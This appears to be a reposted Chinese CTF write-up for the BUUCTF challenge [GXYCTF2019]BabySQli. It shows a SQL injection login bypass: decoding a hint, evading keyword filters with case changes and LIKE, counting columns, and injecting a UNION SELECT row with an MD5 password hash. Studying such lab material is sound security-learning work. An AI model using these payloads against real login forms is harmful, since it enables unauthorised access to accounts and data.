BUUCTF | [GXYCTF2019]BabySQli
Posted 山川绿水
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF | [GXYCTF2019]BabySQli相关的知识,希望对你有一定的参考价值。
BUUCTF | [GXYCTF2019]BabySQli
一、必备基础知识
当=
号被过滤了使用like
,rlike
绕过
当or
被过滤了使用大小写
绕过,双写
绕过,&&
绕过
二、实战化渗透
[GXYCTF2019]BabySQli
因为本道题目的请求方式是POST
,直接上手抓包,便于我们方便测试.
用户名:admin
,密码123
进行简单的测试,
2.发现有一行提示,一看便知这是base32加密后的结果
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
3.直接base32在线解密
4.解密之后发现是base64加密,使用base64在线解密
5.通过上述的解密,可以得到SQL查询语句
select * from user where username = '$name'
6.使用admin' or 1=1#
进行测试,发现or
和=
被过滤啦
7.使用大小写绕过or
,使用like
绕过=
name=admin' Or '1' like '1' #&pw=123
8.爆破字段的列
admin%27+Order+by+1%2C2%2C3%2C4%23
9.发现有三列,我在本机测试,使用Union select
判断其显位点
-1' union select 1,2,3 #
10.但是本道题没有像其他的题目一样爆破出显位点,得到依然是错误的用户名,而只用我们输入用户admin时,它的报错是密码错误
admin' union select 1,2,3 #
11.本道题试了很多其他的测试方法都无事于补,说明本道题目的逻辑是这样的,先判断其用户名是否正确,如果正确的话就判断密码,否则就会报错。我们可以使用union select
的特性——临时打印一张虚拟的表
select * from users where username = 'a' union select 1,2,3 #;
12.上述是我在本机上进行测试Union select的方法,再回到本题中,进行测试
-1' union select 1,'admin','123'#
报错密码错误
13.猜测密码可能错误,尝试比较常用的md5加密,md5加密网站
14.运气比较好,直接得到flag
name=-1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #&pw=123
三、知识点总结
1.本道题目主要是逻辑较强,只能使用admin
用户登录,当然也有其他用户可以登录,主要是没发现,只用用户名正确之后,才会判断其密码是否正确;
2.本道题目的密码采用了md5(32位)
的加密方式;
3.解决本道题目有点类似于撞库,但是又完全是,使用union select
建立虚拟的表绕过
以上是关于BUUCTF | [GXYCTF2019]BabySQli的主要内容,如果未能解决你的问题,请参考以下文章
BUUCTF[GXYCTF2019]PingPingPing